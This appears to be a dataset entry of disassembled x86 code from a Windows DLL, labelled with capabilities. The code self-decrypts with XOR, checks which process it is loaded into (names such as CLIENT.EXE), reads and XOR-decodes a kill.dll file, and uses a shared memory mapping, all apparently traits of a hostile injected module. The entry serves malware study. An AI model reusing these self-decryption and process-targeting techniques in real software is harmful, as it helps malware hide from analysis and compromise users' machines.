Function at 0x10001ea0
Capabilities:
Encode data using xor
Get file size
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1cc
push ebx
push esi
push edi
mov edx, 0x10001ec4
mov eax, 0x100021f5
xor byte [edx], 0x11
inc edx
cmp eax, edx
jne 0x10001eb6
jmp 0x10001ec7
mov eax, dword [ebp + 0xc]
sub eax, 2
jne 0x100021f5
mov ecx, 0x40
xor eax, eax
mov edi, 0x1001f4ec
push 0x100
push 0x1001f4ec
push 0x400000
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x1001f4ec
call fcn.10010d46
mov ebx, dword [ebp + 8]
add esp, 4
test ebx, ebx
jne 0x10001f0f
call fcn.10001c20
call fcn.10001860
lea eax, [ebp - 0x64]
push eax
push str.ADVERT
call fcn.10001830
lea ecx, [ebp - 0x64]
push ecx
push 0x1001f4ec
call fcn.1000ab10
add esp, 0x10
test eax, eax
je 0x10001f3f
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea edx, [ebp - 0x64]
push edx
push str.TGP_
call fcn.10001830
lea eax, [ebp - 0x64]
push eax
push 0x1001f4ec
call fcn.1000ab10
add esp, 0x10
test eax, eax
je 0x10001f6a
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x41
xor eax, eax
mov edi, 0x1001f5f8
rep stosd dword es:[edi], eax
mov edi, dword [ebp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x1001f5f8
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [0x1001f5f4], ebx
call fcn.10002220
mov esi, eax
push str.FU0WEJIO1
mov edi, esi
mov eax, dword [esi + 0x3c]
mov ecx, dword [eax + esi + 0x50]
xor eax, eax
mov dword [0x1001f6fc], ecx
mov ecx, 0x100
push eax
push 0xf001f
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0x1000
push 0
push 0
push 0xf001f
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
test ebx, ebx
mov dword [0x1001f700], ebx
je 0x100021f5
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x100021f5
cmp byte [ebx], 0
je 0x100021f5
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
lea edx, [esi - 0x1000]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x1001f700]
lea ecx, [eax + 0x1d8]
add eax, 0x1de
mov edx, dword [ecx]
mov dword [0x100210ac], edx
mov cx, word [ecx + 4]
mov word [0x100210b0], cx
mov edx, dword [eax]
mov dword [0x100210b4], edx
mov ax, word [eax + 4]
mov word [0x100210b8], ax
call fcn.10006ca0
lea ecx, [ebp - 0x64]
push ecx
push str.CLIENT.EXE
call fcn.10001830
lea edx, [ebp - 0xc8]
push edx
push 0x1001204c
call fcn.10001830
lea eax, [ebp - 0xc8]
push eax
push 0x1001f4ec
call fcn.1000ab10
add esp, 0x18
test eax, eax
jne 0x100020be
lea ecx, [ebp - 0x64]
push ecx
push 0x1001f4ec
call fcn.1000ab10
add esp, 8
test eax, eax
je 0x100021aa
lea edx, [ebp - 0x64]
push edx
push str.kill.dll
call fcn.10001830
mov edi, 0x1001f5f8
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x1cc]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x1cc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x64]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 3
push eax
and ecx, 3
push 3
lea eax, [ebp - 0x1cc]
push 0xc0000000
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x100021aa
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x1000
push eax
push 0
mov dword [0x1001f5f0], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [0x1001f5f0]
lea ecx, [ebp + 0xc]
push 0
push ecx
push edx
push eax
push esi
mov dword [0x1001f718], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1001f5f0]
xor eax, eax
test ecx, ecx
jle 0x100021aa
mov ecx, dword [0x1001f718]
mov dl, byte [ecx + eax]
xor dl, 0x26
mov byte [ecx + eax], dl
mov ecx, dword [0x1001f5f0]
inc eax
cmp eax, ecx
jl 0x10002190
lea eax, [ebp - 0x64]
push eax
push 0x10012060
call fcn.10001830
lea ecx, [ebp - 0x64]
push ecx
push 0x1001f4ec
call fcn.1000ab10
add esp, 0x10
test eax, eax
je 0x100021f5
mov edi, str.TLogin
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebx + 0x4f8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x100021fe
mov edx, 0x10001ec4
mov eax, 0x100021f5
xor byte [edx], 0x11
inc edx
cmp eax, edx
jne 0x10002208
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 0xc